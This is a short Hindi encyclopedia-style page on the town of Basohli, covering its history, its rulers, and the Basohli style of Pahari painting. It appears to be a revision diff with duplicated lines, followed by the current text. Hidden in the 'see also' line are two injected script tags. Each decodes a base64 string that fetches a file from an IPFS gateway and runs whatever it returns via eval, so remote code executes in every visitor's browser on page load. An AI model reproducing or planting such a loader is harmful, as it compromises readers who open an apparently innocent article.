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*सन 1630 ई. में बसोहली को राज्य की राजधानी बनने का सौभाग्य मिला।
 
*सन 1630 ई. में बसोहली को राज्य की राजधानी बनने का सौभाग्य मिला।
 
*यहाँ के राजा संग्रामपाल (1635-1673 ई.) की [[दारा शिकोह]] से मित्रता के कारण [[अकबर]] के समय रोपी गयी [[चित्रकला पहाड़ी शैली|पहाड़ी चित्रकला]] को पल्लवित और पुष्पित होने का सुअवसर मिला।  
 
*यहाँ के राजा संग्रामपाल (1635-1673 ई.) की [[दारा शिकोह]] से मित्रता के कारण [[अकबर]] के समय रोपी गयी [[चित्रकला पहाड़ी शैली|पहाड़ी चित्रकला]] को पल्लवित और पुष्पित होने का सुअवसर मिला।  
*ये आगे चलकर किरपाल पाल (1678-1694 ई.), जो स्वयं भी विद्याव्यसनी एवं [[कला]] प्रेमी था, के समय में '''बसोहली कलम''' के प्राचीन रूप को सँवारने का कार्य किया गया।
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*ये आगे चलकर किरपाल (1678-1694 ई.), जो स्वयं भी विद्याव्यसनी एवं [[कला]] प्रेमी था, के समय में '''बसोहली कलम''' के प्राचीन रूप को सँवारने का कार्य किया गया।
 
*इसके समय में राजमंजरी की एक सचित्र प्रति 1694-95 ई. में तैयार की गयी, जो इस शैली का सबसे पहला ज्ञात कार्य है।  
 
*इसके समय में राजमंजरी की एक सचित्र प्रति 1694-95 ई. में तैयार की गयी, जो इस शैली का सबसे पहला ज्ञात कार्य है।  
 
*इसे देवीदास नामक [[चित्रकार]] ने तैयार किया था।
 
*इसे देवीदास नामक [[चित्रकार]] ने तैयार किया था।

07:08, 15 अक्टूबर 2011 के समय का अवतरण

बसोहली जम्मू और कश्मीर के जसरोटा ज़िले में स्थित है।

  • बसोहली की ख्याति उत्तर मध्य युग में हुई थी।
  • बसोहली रावी के दाहिनी किनारे पर बालोर से 19 किलोमीटर दूर स्थित है।
  • बसोहली में अब यहाँ महलों के खण्डहर मात्र शेष रह गये हैं।
  • इस जगह के बारे ऐसा कहा जाता है कि कुल्लू के राजकुमार भोगपाल ने राणा बिल्लो को हराकर इस राज्य की नींव 765 ई. के आस-पास डाली थी।
  • सन 1630 ई. में बसोहली को राज्य की राजधानी बनने का सौभाग्य मिला।
  • यहाँ के राजा संग्रामपाल (1635-1673 ई.) की दारा शिकोह से मित्रता के कारण अकबर के समय रोपी गयी पहाड़ी चित्रकला को पल्लवित और पुष्पित होने का सुअवसर मिला।
  • ये आगे चलकर किरपाल (1678-1694 ई.), जो स्वयं भी विद्याव्यसनी एवं कला प्रेमी था, के समय में बसोहली कलम के प्राचीन रूप को सँवारने का कार्य किया गया।
  • इसके समय में राजमंजरी की एक सचित्र प्रति 1694-95 ई. में तैयार की गयी, जो इस शैली का सबसे पहला ज्ञात कार्य है।
  • इसे देवीदास नामक चित्रकार ने तैयार किया था।
  • बसोहली के शासक राजा मेदनी पाल (1725-1736 ई.), जितपाल (1736-1757 ई.), अमृतपाल (1757-1779 ई.) आदि के समय बसोहली में कलम की आभा विकसित हुई।

इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: बसोहली चित्रकला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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टीका टिप्पणी और संदर्भ

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